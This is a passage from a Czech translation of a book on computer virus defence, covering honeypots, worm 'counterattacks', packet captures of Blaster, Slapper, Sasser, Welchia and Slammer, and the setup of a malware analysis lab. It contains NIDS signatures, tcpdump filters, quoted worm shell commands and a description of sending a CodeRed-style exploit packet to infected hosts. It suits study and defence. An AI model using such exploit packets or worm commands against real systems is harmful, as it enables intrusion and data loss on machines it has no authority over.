Tento příkaz říká NetCatu, aby naslouchal na portu 80 (HTTP) a příchozí provoz směroval do logovacího souboru. Přestože se jedná o férový honeypot nízké interakce, je schopen zachytit červa CodeRed, protože ten jednoduše rozesílá požadavky GET na náhodné adresy. Pokud tedy byl předchozí příkaz spuštěn na systému bez firewallu, který by jinak blokoval příchozí provoz, bude CodeRed zachycen v souboru "http.log" v okamžiku, kdy se zašle na IP adresu, na které NC naslouchá. V podstatě právě toto udělal Ryan Russel, když rychle a úspěšně zachytil červa CodeRed. Tato metoda může být rovněž bez jakýchkoliv fingerprintů použita k zachycení červa, jako je Slammer, který pomocí UDP napadá zranitelný Microsoft SQL Server.

Poznámka Současná literatura naznačuje, že Slammer svůj cíl nejprve otestuje pomocí příkazu ping, to však není tento případ.

512

Kapitola 14 – Strategie obrany na síťové úrovni

Příkaz NetCatu by vypadal takto: NC –l –p 1434 –u >ms-sql.log

Některé honeypoty nízké interakce, jako třeba Back Officer Friendly, pracují podobným způsoběm jako NetCat v předchozím příkladě a naslouchají na několika portech. Na obrázku 14.2 je zachycen "Radar na červy" (Worm Radar) od Rogera Thomsona, který také používá princip naslouchání, zachycuje důležitý síťový provoz, porovnává jej se známými signaturami a ze všech použitých honeypotů vytváří statistiky. Roger zachytil několik červů, včetně několika vedlejších variant CodeRed, které rozeznal pomocí přesné identifikace, zabudované do porovnávacího stroje ve Worm Radaru. Pro všechny systémy honeypotů je velice důležité rozpoznat už známé typy útoků. Rogerův program rovněž podvádí červy tak, že odhalí svá virová těla Worm Radaru. Jedná se tedy o specifický způsob komunikace potřebný k zachycení nových variant červů.

Obrázek 14.2

Worm Radar ukazuje přehled všech zachycených útoků.

Jiným příkladem systému nízké interakce je Honeyd (http://www.honeynet.org), vytvořený Nielsem Provosem9. Honeyd může s útočníky a s počítačovými červy komunikovat lépe, než výše uvedená řešení, protože umí předstírat mnoho různých systémů. Umí zachytit požadavek protokolu ARP (Address Resolution Protocol)10, který nepatří zacílenému systému, a umí předstírat, že je tím systémem, kterému byl požadavek určen. Počítačový červ tak může začít komunikovat se systémem Honeyd. Služ-

Počítačové viry – analýza útoku a obrana

513

by jsou však emulovány bez jakýchkoliv zranitelných míst (takže bez použití některých speciálních triků nemohou být zachyceni všichni červi).

Některé počítačové červy, jako například Linux/Slapper, je těžší zachytit, protože zacílený systém musí umět široce komunikovat se systémem útočníka.

Linux/Slapper se nespokojí s pouhým vytvořením fingerprintu cílového systému (viz kapitola 9 popisující strategie počítačových červů), ale před zavedením svého virového kódu do cílového počítače jej dvakrát exploituje (jak bylo popsáno v kapitole 10). K úspěšnému zachycení takových červů je potřebný honeypot vysoké interakce. Takové honeypoty se často nazývají jako výzkumné honeypoty.

Dalším zajímavým systémem je LaBrea. Nazývá se také jako "lepkavý honeypot" a byl vyvinut Tomem Listonem (http://labrea.sourceforge.net). LaBrea umí zachytit ARP požadavky ve vaší síti, což velice efektivně zpomalí síťového červa nebo úplně zastaví. Bohužel velmi rychle se stal cílem DMCA (Digital Millennium Copyright Act) a v důsledku toho Tom Liston v roce 2003 stáhnul z webu všechny zdroje (viz www.hackbusters.net).

Všude v této kapitole jsme viděli, že mnoho červů bylo zachyceno díky požadavkům ARP, které generují při vyhledávání nových cílů v síti.

Honeypoty nejsou jen systémy nástrah, které jsou užitečné pro studium počítačových červů, technik exploitů a ochraně před nimi, ale také užitečným prostředkem proti všem formám spamu. Například systém detekce spamu Brightmail využívá milióny e-mailových adres ve formě "návnady", které jsou určeny k upoutání pozornosti spammerů. E-mail, který je zaslán do nástražného systému, je pravděpodobně zaslán spammerem, a to zejména v případě, kdy je tento e-mail zaslán na velké množství nástražných e-mailů. Systém z těchto e-mailových účtů shromažďuje data a používá je k přímému vytváření pravidel určených pro filtrování spamů, které jsou následně používány různými poskytovateli internetu po celém světě.

14.6 Protiútoky Zajímavou možností obránce je útok na systém napadený červem s úmyslem jej vyčistit. Někteří bezpečnostní profesionálové takto experimentovali a pomocí tzv. "zpětně útočících červů" se snažili odstranit červy ze vzdáleného systému. Není přitom překvapující, že někteří z nich za to byli odsouzeni. Jak už bylo vysvětleno v kapitole 9, soutěžení mezi červy často vede k jejich válce – jeden červ se snaží zabít druhého, případně celou skupinu. Přestože tento druh útoků vypadá jako užitečný, jedná se z několika zřejmých důvodů o neakceptovatelnou metodu, která může mít za následek kriminální postih.

Co však myšlenka protiútoku na červa, který je mimo naši kontrolu v naší vlastní síti? Máte mít možnost zaútočit na systémy pod vaší kontrolou (čímž myslíme systémy, které vám patří)?

Pokud nás například požádá síťový administrátor o pomoc při odstranění několika infekcí červa CodeRed z našich počítačů, můžeme mu vypomoci. Pro vyřešení tohoto problému je potřeba z logů firewallu shromáždit velké množství místních IP adres a použít pak NC (NetCat) k zaslání útočného (resp. "léčivého") paketu do každého systému, který je podezřelý jako útočník CodeRed.

514

Kapitola 14 – Strategie obrany na síťové úrovni

Poznámka Nezapomeňte, že všechny IP adresy vám musí náležet a že musíte mít oprávnění od administrátorů sítě. Ideální situace je, pokud jste administrátorem vy sám.

Útočný paket může obsahovat kód exploitu, který je podobný tomu, který je zabudován v CodeRed, návratová adresa by však měla být nastavena na nulu. Je také jasné, že není potřeba použít libovolnou část kódu červa! Takový paket může být zaslán každému počítači, který je podezřelý z toho, že je napaden červem CodeRed – například podle logů firewallu.

Nulová návratová adresa generuje výpadek stránky v adresovacím prostoru procesu infikovaného Microsoft IIS, což má za následek odstranění infekce červem CodeRed. Je tomu z toho důvodu, že pád způsobí rychlý restart služby už bez červa (jak bylo popsáno v kapitole 10, CodeRed je přítomný pouze v paměti). Protiútok by samozřejmě nebyl tak jednoduchý v případě červů, kteří pracují se soubory, nebo u zranitelných míst, která lze exploitovat pouze jednou.

Ujistěte se, že s tímto postupem nebudou v systému žádné komplikace a že tak jej bude možné použít k efektivnímu vyčištění sítě. Může být samozřejmě nutné tento útok několikrát zopakovat, než budou pakety úspěšné.

Někteří lidé mají za to, že infikované systémy by měly být vyčištěny, přičemž sami spustí protiútoky proti systémům, které jim nepatří, i bez svolení administrátora. Zde je však dilema – je samozřejmě dobré zastavit infekci na všech vzdálených systémech, existuje však možnost, že je může protiútok poškodit, což by mohlo vyústit ve ztrátu dat. Každou takovou akci je tedy potřeba vždy pečlivě promyslet!

Poznamenejme také, že některé nástroje pro ohodnocení síťové bezpečnosti mohou mít určité postranní efekty, použitelné k odstranění infekce podobným stylem, jako v předchozím příkladu – mohou však mít také podobné následky. Jedním z nich může být například ztráta dat, jako důsledek exploitace vzdáleného počítače (například nezpracovaná, nebo částečná transakce u webového nebo SQL serveru).

14.7 Systémy včasného varování Systémy včasného varování přebírají data z mnoha různých senzorů v síti, jako jsou firewally, systémy IDS (síťové nebo na jednotlivých počítačích), antiviry, honeypoty či komplexní řešení založená na honeypotech a vkládají výstrahy do centrální databáze. Tyto výstrahy jsou zpracovávány, korelovány a na jejich základě jsou generována odpovídající varování. Společnost Symantec generuje výstrahy pomocí systému včasného varování DeepSight. V těchto výstrahách je vidět korelace eventuálních nových útoků s množinou známých zranitelných míst, která byla v minulosti vložena do databáze BugTraq. Jsou zde také možné návrhy ochrany nebo stupně ohrožení eventuálními nebo známými nebezpečími.

Výstrahy takových systémů mohou být velice hodnotné pro rychlou reakci na nový útok, který byl už viděn na jiných systémech. V mnoha případech máme možnost reagovat ještě předtím, než bude útokem zasažena naše síť – takže systémy včasného varování chrání naši síť nepřímo. Do těchto systémů tak stačí dodávat příslušná data, přičemž výsledkem je lepší ochrana celé komunity.

Počítačové viry – analýza útoku a obrana

515

14.8 Vzory chování červů v síti Tato část se zabývá několika zajímavými případy zachycení počítačových červů, v okamžiku jejich přenosu z jednoho počítače na druhý. Jejich detailní zkoumání je užitečné k tomu, abychom viděli, jak probíhá typická exploitace. Samozřejmě, můžeme to vidět pouze za předpokladu, kdy je síťový provoz zkoumán nějakým sledovačem paketů, například programem tcpdump11. Takové nástroje ovšem používejte vždy se souhlasem administrátora, protože náhodně můžete v síti zachytit citlivá data.

14.8.1 Zachycení červa Blaster V prvním příkladu na obrázku 14.3, jsem pomocí Etherealu12 zachytil síťového červa W32/Blaster.

Obrázek 14.3

Zachycení infekce síťovým červem pomocí programu Ethereal.

516

Kapitola 14 – Strategie obrany na síťové úrovni

Velice rád používám program Ethereal. Je to populární program na sledování provozu v síti (tzv. sniffer) a jeho následnou analýzu. Pomocí něj je možné prohlížet případy zachycení paketů v síti. Doporučuji použít analýzu exploitu červa Blaster z kapitoly 10 a porovnat ji se vzorem chování červa v tomto případě. V našem případě patří IP adresa 192.168.0.1 systému útočníka, již kompromitovaného Blasterem. IP adresa 192.168.0.3 (také v místní testovací síti) je pod útokem tohoto červa.

Povšimněte si komunikace mezi útočníkem a cílem (jedná se o TCP porty 1314 a 4444) v položce 42 na obrázku 14.3. Stroj útočníka komunikuje s kódem shellu na právě kompromitovaném systému na 192.168.0.3. Krátce poté můžete vidět (viz číslo 48) požadavek na čtení souboru pojmenovaného jako "msblast.exe" prostřednictvím protokolu TFTP. Jedná se o požadavek TFTP, který systém s Blasterem zasílá právě napadenému počítači, na kterém již běží příkazová řádka na portu 4444/TCP. Poznamenejme, že 192.168.0.3 spustí příkaz TFTP a provede download z 192.168.0.1, kde červ Blaster čeká jako thread "TFTP serveru", aby tento požadavek vyplnil.

Můžete sledovat, jak je TFTP požadavek zpracováván, a jak se tělo hlavní části červa přenáší sítí do nově napadeného počítače. Je to samozřejmě méně zajímavé, když se to děje na vašem počítači. V tomto případě jsou v testovací síti použity dva počítače, které se používají pro přirozenou infekci (ta je podrobněji popsána v kapitole 15, kde jsou uvedeny jak další techniky, tak i případy zachycení síťových červů).

V položce 82 na obrázku 14.3 dále vidíme, jak systém útočníka komunikuje se svým shell kódem a zasílá mu příkaz "start msblast.exe" (viz výpis paketu ve spodním panelu Etherealu).

V tomto místě se červ spouští na nově napadeném systému. Tuto akci můžete rovněž sledovat, protože 192.168.0.3 náhle vysílá požadavky ARP ve významu "Kdo má adresu 192.168.0.2? Sdělte to 192.168.0.3.

Kdo má adresu 192.168.0.4? Sdělte to 192.168.0.3.". Infikovaný systém prostě hledá v síti další stroje.

Tento vzor chování je velmi typický pro počítačové červy.

Blaster lze snadno zaměřit pomocí systému NIDS. Jednou z možností je vyhledat kód exploitu v několika prvních paketech – to umožňuje rychlé nalezení útočného systému v síti. Další možností je jednoduché vyhledání řetězce "start msblast.exe" a zjistit tak, kdy byl nový systém kompromitován. Pokud vidíme tyto požadavky, víme, že do našeho systému nebyly nainstalovány nejnovější bezpečnostní aktualizace, které by zabránily exploitaci zranitelných míst červy.

14.8.2 Zachycení červa Linux/Slapper Jak je v kapitole 10 detailně popsáno, červ Slapper exploituje zranitelné místo v OpenSSL na webovém serveru Apache, které umožňuje napadení prostřednictvím heapu (hromady). Abychom mohli využívat techniky pro prevenci průniků založených na hostitelích (podobné těm, které byly popsány v kapitole 13), musíme rozumět specifikům exploitace pomocí heapu. Z hlediska obrany sítě se však objevují další zajímavé otázky. Jedná se o to, že červ zneužívá OpenSSL – je tedy potřeba důkladně prověřit, zdali není červ zašifrovaný v síti. V dnešní počítačové literatuře bývá Slapper často popisován jako "červ, kterého není možné pomocí NIDS efektivně zachytit, protože by bylo potřeba porušit bezpečnost, kterou poskytuje SSL". Jak bude dále uváděno, tento argument je nepravdivý.

Obrázek 14.4 ukazuje zachycení červa Linux/Slapper, kde je červem kompromitována adresa 206.129.0.1; předmětem útoku je 206.129.254.254. Jedná se samozřejmě o naši laboratorní síť (stejně jako v ostatních případech), takže IP adresy nemají nic společného se skutečnými cíli.

Počítačové viry – analýza útoku a obrana

517

Ve dvou zprávách "Client Hello" je zřejmá zdvojená akce – Slapper exploituje cíl dvakrát. Když napadne cíl poprvé, získá od něj důležitou informaci, kterou v další fázi využije pro získání kontroly nad cílem.

Ethereal předpokládá na řádku 53 zašifrovaná data, která by tam za obvyklých okolností opravdu byla. Červ však exploituje cíl ještě předtím, než je navázáno zašifrované spojení. Ve spodním okně Etherealu je vidět, že některé příkazy červa jsou posílány jako čistý text místo zašifrovaného textu. Mezi oběma systémy tudíž nebylo vytvořeno zašifrované spojení.

Obrázek 14.4

Zachycení infekce síťovým červem Linux/Slapper pomocí Etherealu.

Na obrázku můžeme vidět, že prvním příkazem je "rm" (remove, odstranění souboru), který je následován příkazem "cat", jenž v cíli vytvoří UU-zakódovaný (UU-encoded) zdrojový soubor Slapperu. Přenos červa po síti je viditelný v čistém textu, takže není problém jej detekovat pomocí standardního NIDS. Krátká signatura NIDS pro detekci červa Linux/Slapper může vypadat takto: alert tcp any any -> any 443 (msg:"Linux/Slapper Worm Propagation";

518

Kapitola 14 – Strategie obrany na síťové úrovni

content:"36 35 35 20 2E 62 75 67 74 72 61 2e 63";)

Výstraha je vygenerována, pokud je v paketu přenášeném na portu 443/tcp detekován řetězec "655 .bugtraq.c", který by tam být neměl. SSL spojení za normálních okolností vždy přenáší zašifrovaný text, přičemž jméno souboru je jedinečné.

Poznamenejme však, že jméno souboru by mohlo být první věcí, která by se změnila v nové variantě červa. Vhodnější signatura NIDS by tak měla prozkoumat pole pro délku argumentu a ověřit, pokud je tato hodnota větší než osm, což je povolené maximum (viz kapitola 10). Tento typ detekce můžeme definovat jako generickou signaturu průniku. Obrázek 14.5 ukazuje zachycení červa Linux/Slapper s délkou klíčového argumentu nastavenou na hodnotu 64.

Obrázek 14.5

Zpráva "Client Master Key" s délkou key_arg nastavenou na 64.

Detekce příliš dlouhé položky key_arg dává možnost vygenerovat varování v obecných případech bez toho, abychom se museli zabývat podrobnými detaily každého jednotlivého útoku.

Ve skutečných případech je potřeba identifikovat útok přesněji. Chceme s jistotou vědět, jestli alarm NIDS souvisí s červem Slapper nebo zdali přichází od nějakého jednotlivého útočníka. Moderní systémy NIDS proto obsahují dvě fáze detekce. První fáze slouží pro rychlou detekci obecného útoku. Druhá fáze, která je spuštěna první fází, se snaží útok identifikovat podrobněji. Protože NIDS musí pracovat velice rychle (jinak mu začnou propadat pakety), je nutné implementovat podrobnou detekci až po rychlém filtrování, kterým je první fáze detekce.

Tento způsob postupu nám umožňuje pracovat s polymorfními útoky. Příklady takových útoků jsou ADM_Mutate, libSchellCode, Spoly a JempiScodes13.

14.8.3 Zachycení červa W32/Sasser.D Tento červ byl vytvořen německým tvůrcem červů. Je zajímavý z toho důvodu, že se zaměřuje na zranitelné místo Microsoft LSASS. Na obrázku 14.6 je vidět červ, který zasílá svůj kód z již napadeného systému 10.10.10.34 do právě exploitovaného systému na 10.10.10.36.

Počítačové viry – analýza útoku a obrana

Obrázek 14.6

519

Zachycení síťového červa W32/Sasser.D.

Co je zajímavého na tomto útoku? Je vidět, že první bajt spustitelného těla červa je poslán osamocený, viz řádek 90 na obrázku 14.6 (text "Len=1"). Ve spodním panelu Etherealu je vidět, že obsahem paketu je znak "M". Je to první bajt souboru PE virového těla, který začíná hlavičkou "MZ". Následující část vykonatelné hlavičky červa (na řádku 91) začíná znakem "Z", který je poslán v paketu o délce Len=1460, tak typickém pro sítě Ethernet. Červ se tak přenáší sítí bajt po bajtu.

Přestože Sasser nenapadá NIDS přímo, demonstruje, že červi mohou svůj exploitovací kód přenášet bajt po bajtu, pokud je to nutné. Jak již bylo uvedeno, všechny systémy NIDS neumí reassemblování.

V důsledku toho se nemusí signatura IDS shodovat s útokem, protože může být rozdělena do několika paketů – každý několik bajtů dlouhý. Červ CodeRed je například běžně poslán v podobě na obrázku 14.7A; jeho vyspělejší varianta však posílá svůj kód v částech náhodné délky, jak je to znázorněno na obrázku 14.7B. To je výzvou pro implementace IDS, které nemají reassembler pro data v síti.

520

Kapitola 14 – Strategie obrany na síťové úrovni

V závislosti na zpětném skládání (reassemblování) paketů a na schopnostech NIDS ohledně rozeznávání signatur tedy závisí, zdali bude signatura červa zachycena korektně. Tento příklad ukazuje, proč je reassemblování důležitou součástí vhodně navrženého IDS.

Obrázek 14.7

Exploitační kód červa CodeRed v celistvé a rozdělené podobě.

14.8.4 Zachycení požadavku ping červa W32/Welchia Smutnou skutečností je, že mnoho síťových administrátorů, kteří mají od své společnosti povoleno používat nástroje pro sledování provozu v síti (sniffing), často nemá znalosti potřebné k vyhledávání infekcí červy. V důsledku toho tyto techniky obvykle nepoužívají. Ty však mohou být užitečné při přípravě na budoucí útoky červů nebo mohou pomoci odstranit již zavlečenou infekci. V této části si popíšeme použití nástroje tcpdump, který je standardně obsažen v mnoha distribucích UNIXu. Stal se jakýmsi "švýcarským nožem" pro detekci průniku a jak uvidíte, také efektivním honeypotovým nástrojem.

V případu zachycení na obrázku 14.8 vidíme, jak červ Welchia z adresy 169.254.56.166 "pinguje" adresu 169.254.189.84. Červ předtím, než se pokusí exploitovat nový cíl, chce získat pozitivní odpověď na požadavek ICMP. Povšimněme si obsahu tohoto požadavku ve spodním panelu Etherealu. K inicializaci datové struktury nepoužívá nulový bajt, ale hodnotu 0xAA. To nám umožňuje trasovat tento požadavek pomocí nástroje pro sledování provozu v síti, jako je tcpdump nebo windump (který využívá winpcap14).

Počítačové viry – analýza útoku a obrana

Obrázek 14.8

521

Požadavek ping červa W32/Welchia.

Chceme-li trasovat infekci Welchia pomocí dat v požadavku ping, použijeme tento příkaz15: tcpdump -qn icmp and ip[40] = 0xaa

To stejné na počítači s Windows (pomocí programu windump): windump -qn icmp and ip[40] = 0xaa

Tento příkaz říká sniffovacímu programu, aby protokoloval (logging) provoz ICMP, a současně omezil rozsah tohoto protokolování na speciální požadavky, které mají na pozici 40 bajt výplně s hodnotou 0xAA. Pro složitější porovnávání řetězců pomocí regulárních výrazů mohou být použity další podobné nástroje, jako například ngrep.

14.8.5 Detekce červa W32/Slammer a souvisejících možností exploitace Červ W32/Slammer napadá zranitelné servery Microsoft SQL na portu 1434/udp. Jediné, co červ musí udělat, je poslat datagram na tento port. Zranitelné instalace Microsoft SQL serveru pak při zpracování UDP požadavku spustí samotného červa.

Na obrázku 14.9 je zachycena část červa Slammer. Jak bylo popsáno v kapitole 10, kód Slammeru vyžaduje na začátku svého kódu speciální ID. Tento speciální bajt (0x04) je obvykle následován krátkým řetězcem, jehož délka však není kontrolována. Pokud je přijat dlouhý řetězec, dojde k přetečení zásobníku.

Povšimněme si výplňového bajtu (0x01) v červu, který posouvá hodnotu návratové adresy na správné místo.

Obrázek 14.9

Část červa Slammer v programu HVIEW.

522

Kapitola 14 – Strategie obrany na síťové úrovni

Tento výpis použijeme pro ukázkovou demonstraci detekce exploitace pomocí software NIDS. K detekci použijeme signaturu tohoto červa. Signatura Symantec ManHunt Hybrid má tuto podobu: alert udp any any -> any 1434 (msg:"W32/Slammer Worm Propagation"; content:"|68 2E 64 6C 6C 68 65 6C 33 32 68 6B 65 72 6E|"; content:"|04|"; offset:0; depth:1;)

Výstrahu generujeme pokaždé, když bude cílem jakákoliv IP adresa s použitým portem 1434/udp.

Pokud najdeme někde v datagramu řetězec "h.dllhel32hkern", výstrahou bude zpráva "W32/Slammer Worm Propagation". Abychom si ale byli opravdu jisti, máme k dispozici první bajt paketu s hodnotou 0x04. Tato signatura efektivně detekuje Slammera. Chceme-li připravit obecnou detekci exploitovacího kódu, můžeme použít následující signaturu: alert udp any any -> any 1434 (msg:"MS02-039 exploitation detected"; content:"|04|"; offset:0; depth:1; dsize>60)

Tato výstraha je velmi podobná první výstraze. Testuje shodu prvního bajtu datagramu, stejně jako signatura v prvním případě. Nepoužijeme původní posloupnost bajtů, ale příkaz dsize, kterým ověříme, že je datagram delší než 60 bajtů. Takto víme, že na zranitelný SQL Server je možné zaútočit poté, co přeteče buffer o velikosti 128 bajtů. Existují dva konstantní řetězce, které SQL Server používá k vytvoření klíče registru, když přijme požadavek (viz kapitola 10), takže "dsize" delší než 60 bude mít vždy za následek přetečení – přinejmenším jako útok DoS.

Poznámka Hodnota 60 vznikne takto: 128 - 40 - 27 - 1=60 (velikost_bufferu minus délka_prvního_řetězce minus délka_druhého_řetězce minus ukončovací_znak "0" = 60).

Lze samozřejmě namítnout, že takové signatury jsou náchylnější k falešným poplachům – málokdy však selhávají. Určitá nejednoznačnost je ovšem obecným problémem NIDS. Jak může NIDS říct, jestli provoz na UDP portu 1434 patří SQL Serveru na cílovém systému nebo ne? To je důvod, proč konkrétní signatury IDS obvykle způsobují menší množství falešných poplachů.

Takové signatury mohou být velmi užitečné. Představme si, že by Slammer byl polymorfní nebo dokonce metamorfní – různé bajty by ve dvou jeho různých instancích v síti měly různé hodnoty. Pokud by ovšem Slammer exploitoval několik různých zranitelných míst, měl by vždy na začátku datagramu hodnotu 0x04 a sám sebe by reprezentoval jako velice dlouhý řetězec. Předchozí obecná signatura IDS by tak pokrývala i polymorfní verzi červa.

Moderní detekční jazyky IDS podporují programovatelné signatury. Například používají histogramy k tomu, aby zjistily, zdali jsou použity nějaké nulové bajty. K redukci falešných poplachů je samozřejmě lepší použít filtry z předchozí signatury. Slammer nemůže nulový bajt obsahovat kdekoliv ve svém těle, protože je jeho tělo zpracováno jako "řetězec". A podobně – i exploitační kód tohoto zranitelného místa musí použití nulových bajtů omezit, aby přetečení proběhlo úspěšně.

Počítačové viry – analýza útoku a obrana

523

14.9 Závěr Tato kapitola prezentovala techniky obrany na úrovni sítě. Ty se zaměřují na prevenci, obranu a zachycení útoků červů. Viděli jsme mnoho zajímavých detailů o šíření počítačových červů z pohledu počítačové sítě. Další kapitola popisuje techniky analýzy škodlivých programů.

Odkazy 1. Stephen Northcutt a Judy Novak, Network Intrusion Detection: An Analyst’s Handbook, druhé vydání, New Riders, Indianapolis 2001, ISBN: 0-7357-1008-2.

2. Lance Spitzner, Honeypots: Tracking Hackers, Addison-Wesley, Boston 2003, ISBN: 0-321-10895-7.

3. E. Eugene Schultz, Ph.D, "The MSBlaster worm: going from bad to worse", Network Security, říjen 2003, str. 4-8.

4. Stephen Northcutt, Lenny Zeltser, Scott Winters, Karen Kent Frederick a Ronald W. Ritchey, Inside Network Perimeter Security, New Riders, Indianapolis 2003, ISBN: 0-73571-232-8 (Paperback).

5. W. Richard Stevens, TCP/IP Illustrated, Addison-Wesley, Boston 1994, ISBN: 0-201-63346-9.

6. Rafeeq Ur Rehman, "Intrusion Detection with SNORT", Prentice Hall, Upper Saddle River, 2003, ISBN: 0-13-140733-3 (Paperback).

7. Thomas H. Ptacek a Timothy N. Newsham, "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection", leden 1998, http://www.insecure.org/stf/secnet_ids/ secnet_ids.html.

8. Xuxian Jiang Dongyan Xu, "Collapsar: A VM-Based Architecture for Network Attack Detection Center", 13th Usenix Security Symposium, 2004, str. 15-28.

9. Ofrin Arkin, Edward Balas, Brian Carrier, Roshen Chandran, Anton Chuvakin, Michael Clark, Eric Cole, Yannis Corovesis, Jeff Dell, J. Raul Garcia Zapata, Max Kilger, Charalambos Koutsouris, Richard LaBella, Rob Lee, Costas Magkos, Patrick McCarty, Doin Mendel, Yannis Papapanos, Richard P. Salgado, Lance Spitzner a Jeff Jtutzman, "Know Your Enemy", The Honeynet Project, druhé vydání, Addison-Wesley, Boston 2004, ISBN: 0-321-16646-9.

10. Douglas E. Comer, Internetworking with TCP/IP, Prentice Hall, Upper Saddle River 2000, 1995, ISBN: 0-13-018380-6.

11. The TCPDump public repository, http://www.tcpdump.org/.

12. "Ethereal: A Network Analyzer", http://ethereal.com/.

13. Elias Levy, osobní komunikace, 2004.

14. Winpcap, http://winpcap.polito.it/.

15. Frederic Perriot, osobní komunikace, 2004.

524

Kapitola 14 – Strategie obrany na síťové úrovni

KAPITOLA 15 Techniky analýzy škodlivého kódu

"Praxe by měla být vždy založena na důkladné znalosti teorie."

Leonardo da Vinci (1452-1519)

526

Kapitola 15 – Techniky analýzy škodlivého kódu

Předchozí kapitoly se zabývaly různými strategiemi obrany proti virům. Tato kapitola představuje krátký úvod do analýzy škodlivého kódu, který může obránci poskytnout neocenitelné informace. Přestože některé metody a nástroje již byly popsány, bude se tato kapitola zabývat jejich zajímavějšími aspekty.

Některé z technik, popsaných v této kapitole, se týkají reverzního inženýrství škodlivého kódu. Protože je příslušná právní úprava v každé zemi jiná, zjistěte si, prosím, platné legislativní podmínky. Lituji také, že čtenářům – mimo komunitu antivirových výzkumníků – nejsou přístupné všechny popisované techniky, protože některé analytické nástroje doposud nebyly komerčně distribuovány. Popis těchto systémů jsem se snažil minimalizovat a do této knihy byly zahrnuty kvůli komplexnosti. O technikách analýzy škodlivého kódu by bylo možné napsat samostatnou knihu.

Ruční analýza škodlivého kódu se úzce vztahuje k automatizované detekci a odstraňování počítačových virů. V této kapitole je také popsán DIS (Digital Immune System)1, vyvinutý firmou IBM, a je porovnáván s ruční analýzou.

15.1 Vaše osobní laboratoř pro analýzu virů Jedním z nejdůležitějších požadavků pro analýzu škodlivého kódu je instalace systému, vyhrazeného právě pro tento účel. Je potřebné, aby takové systémy byly propojeny pouze do "špatných" sítí (tedy k dalším systémům určeným k podobným účelům). Věřte mi – jistě nebudete chtít analyzovat kód viru v síti, která je určena pro běžný provoz! Systém pro replikování kódu viru by neměl být využíván k jiným účelům a je potřeba, aby byl vždy naprosto dokonale vyčištěn – nejlépe po každém jednotlivém testu.

Při volbě vyhrazeného systému existují dvě možnosti. Uvádím jejich kombinaci: 1. První možnost je založena na použití skutečných systémů, jako jsou dvě regulérní PC, na kterých může dostatečně rychle běžet několik různých operačních systémů. PC mohou být do známého místa obnovena pomocí zálohy. Je důležité, aby byl čistý systém obnoven rychle. Doporučuji použít systém, jako je Norton Ghost, pro uložení obrazů instalovaných operačních systémů (například Windows XP) a jejich obnovení z nezapisovatelného média, jako je CD-ROM. Analytické nástroje je nejlepší nainstalovat do systému; je-li to však potřeba, uložte je i na CD, abyste je mohli spustit i v případě, že budou škodlivým kódem poškozena nebo smazána z pevného disku.

Poznámka Pro efektivní analýzu většiny počítačových virů jsou potřeba nejméně dvě PC. V takovém případě může na prvním běžet Linux se zranitelným serverem Apache; druhé může být použito ke spuštění červa, jako je Linux/Slapper. Během vyhledávání nových cílů červem, můžete pomocí nástroje typu tcpdump skenovat aktivitu na síti. Poté můžete za běhu rekonfigurovat síťové rozhraní cílového systému, takže jej červ přirozeným způsobem napadne a rychle infikuje. Tato technika pracuje efektivněji, používá-li červ lineární skenování IP adres.

2. Druhou možností je použití software virtuálního PC, jako je například vynikající VMWARE, nebo Virtual PC od Microsoftu. Pomocí VMWARE je možné spouštět dočasné obrazy hostující-

Počítačové viry – analýza útoku a obrana

527

ho operačního systému. To umožňuje rychlý a čistý restart mnoha různých operačních systémů bez dalších komplikací.

Další možností je použití vlastního virtuálního stroje, založeného na emulaci kódu, a jeho spuštění na některé z předchozích konfigurací. Dobré antivirové systémy v sobě obsahují virtuální stroje, které umožňují emulovat moderní procesory a operační systémy. Tyto emulátory a jejich rozšířené verze mohou být použity k vytvoření virtuálního stroje, vyhrazeného pro analýzu virů. Takové nástroje mohou být velice přínosné pro rychlou a bezpečnou práci se škodlivým kódem, který nelze debugovat, je zakódovaný, polymorfní nebo metamorfní, případně komprimovaný. To budeme ilustrovat prostřednictvím nástroje VAT (Virus Analysis Toolkit), který byl vyvinut v Data Fellows ve Finsku (v roce 1997).

Metody založené na VMWARE se rychle stávají běžnou volbou mnoha výzkumníků. Některá nebezpečí však v tomto prostředí nelze zpracovat. Některé viry (například W95/CIH), které byly v reálných prostředích velice úspěšné2, při práci ve VMWARE nefungují. Virtuální prostředí může být rovněž detekováno škodlivým kódem, který pak může proti němu podnikat různé akce. Přesto se však jedná o neocenitelné testovací prostředí, které doporučuji zakoupit. Vyplatí se, protože snižuje celkovou cenu za hardware. Mimoto umožňuje mnohem rychlejší návrat do výchozího čistého stavu.

Existují také síťově orientované verze VMWARE, například VMWARE GSX Server. Ten umožňuje spustit server, ke kterému je připojeno několik klientů, běžících současně.

Při použití VMWARE můžete mít také svůj vlastní DNS server a definovat tak systémy se jmény reálných společností. To znamená, že v nadefinovaném virtuálním světě můžete zachytit útok například proti adrese www.microsoft.com.

Cílem samozřejmě musí být jednoduchá administrace systému. Příliš rozsáhlý systém je velice těžké spravovat. Další problém je vyvolán faktem, že mnoho současných hrozeb je závislých na konkrétní zranitelnosti. Pokud tedy používáte zaplátované obrazy operačních systémů, někteří červi nebudou schopni pracovat ve vašem systému. To může být velice nepříjemné, protože instalace prostředí VMWARE může být časově mnohem náročnější, než instalace reálných systémů. Řešením je příprava několika různých obrazů VMWARE se softwarem, který bývá často napadán škodlivým kódem. Nemůžete získat zkušenosti s počítačovými červy, jako jsou W32/CodeRed nebo Linux/Slapper, bez instalace zranitelného software, který je následně exploitován příslušným červem.

Ve třetí kapitole, která popisuje prostředí škodlivého kódu, bylo ilustrováno, že škodlivý kód může záviset na konkrétním prostředí. K analýze některé třídy počítačových virů, například makrovirů nebo skriptovacích virů, je potřeba nainstalovat vhodný klientský software, například systém Microsoft Office. A podobně – stále více a více škodlivého kódu je psáno v MSIL, který ke spuštění obvykle vyžaduje, aby bylo na systému Windows nainstalováno prostředí .NET. Ve třetí kapitole bylo také poukázáno na to, že některé hrozby jsou silně závislé na souborovém systému cílového operačního systému. Pokud výhradně používáte systém souborů FAT, viry používající streamy NTFS3 nebudou schopny na vašem systému fungovat, popř. budou fungovat pouze částečně. Použitému prostředí je tedy potřeba věnovat velkou pozornost na všech úrovních – od výběru vhodného hardware až po software.

528

Kapitola 15 – Techniky analýzy škodlivého kódu

15.1.1 Jak získat potřebný software?

